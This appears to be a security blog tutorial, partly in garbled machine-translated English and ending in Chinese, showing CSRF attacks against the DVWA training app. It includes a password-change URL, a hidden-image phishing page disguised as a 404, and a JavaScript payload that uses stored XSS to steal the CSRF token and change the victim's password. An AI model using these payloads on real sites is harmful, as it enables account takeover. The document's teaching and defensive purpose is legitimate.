CSRF (Cross-site request forgery) cross-site request forgery, it is in principle simple CSRF attacks in the name of the user who initiated the request to the server, so as to achieve the purpose of attack. The difference is that with a XSS, XSS is to steal the user cookie, while CSRF directly with the user cookie (so the server will be considered at the user's own operation).
DVWA with simple exercises to understand how to CSRF.
low mode (phishing page)
Open a virtual machine is simulated attack a user A, A user logs on DVWA, and set the security level = low, into the CSRF page, which is used to modify the currently logged in user's password. Change password is issued by the low mode with a new password get request parameters, the request so long (do not care and get plain text password request ~):
http://主机IP:8081/vulnerabilities/csrf/?password_new=789&password_conf=789&Change=Change
B attacker made a simple phishing page, reads as follows:
<img src="http://主机IP:8081/vulnerabilities/csrf/?password_new=789&password_conf=789&Change=Change" style="display:none;"/> <h1>404<h1> <h2>file not found.<h2>
A now need to open this page, the A password will be silently get rid of. . A how to make it open this page? For example, the link in the message inside, like this:
URL phishing page is: HTTP: // testhost: 8082 / error.html
If at this time just A sign in the attacked site, and then point to open the link, see the following page A, A an invalid page that opens, in fact, this time the password has been changed. . .
Password how it was changed? The process is this:
1. A user login to be attacked when the browser stores a cookie A login
2.A Open phishing page, http fishing inside pages of the password change request is executed (no need to log on, because there are browser login cookie)
3.http password change request is backend, successful password change
I expect this to be a problem when the exercise, the browser is not limited homology strategy Why, why phishing page from a different domain name of the site can use the cookie attacked it? In fact, not a phishing page using cross-domain cookie, but fishing is the page where the link is a direct attack site's internal links ah! There is no cross-domain problem! !
high mode (fitting XSS)
Also simulated virtual machine user attack A, A user logs DVWA, and set security level = high.
High mode parameters increases user_token randomly generated, as well as check Referer
But after F12 to view the page elements, in fact, found token is placed on the tip of a hidden input inside:
That as long as we get this hidden input the value, then put fake request, it can be achieved attack. But when phishing page can not be cross-domain low mode used to get the value of the hidden input, because there are same-origin policy - but still can achieve with XSS vulnerabilities
The attacker used his account to log into the storage type XSS page (see storage-type XSS attacks in high mode: https://www.cnblogs.com/sallyzhang/p/11951361.html )
csrf.js as follows:
var xhr=new XMLHttpRequest();
xhr.open('get','../csrf');
xhr.send();
var res="";
var token="";
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && xhr.status == 200) {
res = xhr.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = res.match(regex);
token=match[1]
var xhr_new=new XMLHttpRequest();
var new_url='../csrf/?password_new=456&password_conf=456&Change=Change&user_token='+token;
xhr_new.open('get',new_url)
xhr_new.send()
}
};
当被攻击方登录后访问存储型XSS页面时，密码就已经改了。csrf.js在XSS页面通过像同一个域名的csrf页面发送请求拿到csrf页面的token，再发送修改密码的请求，曲线完成攻击（因为是同一个主域名，不存在跨域问题）
一点点感悟：
1.不要随便点历不明的链接！！！不要随便打开来历不明的网站！！！
2.认真防御每一种高危或常见漏洞，上面的例子说明即使有防御csrf，但在xss漏洞的帮助下，仍然会被攻击
如需转载，请注明出处，这是对他人劳动成果的尊重～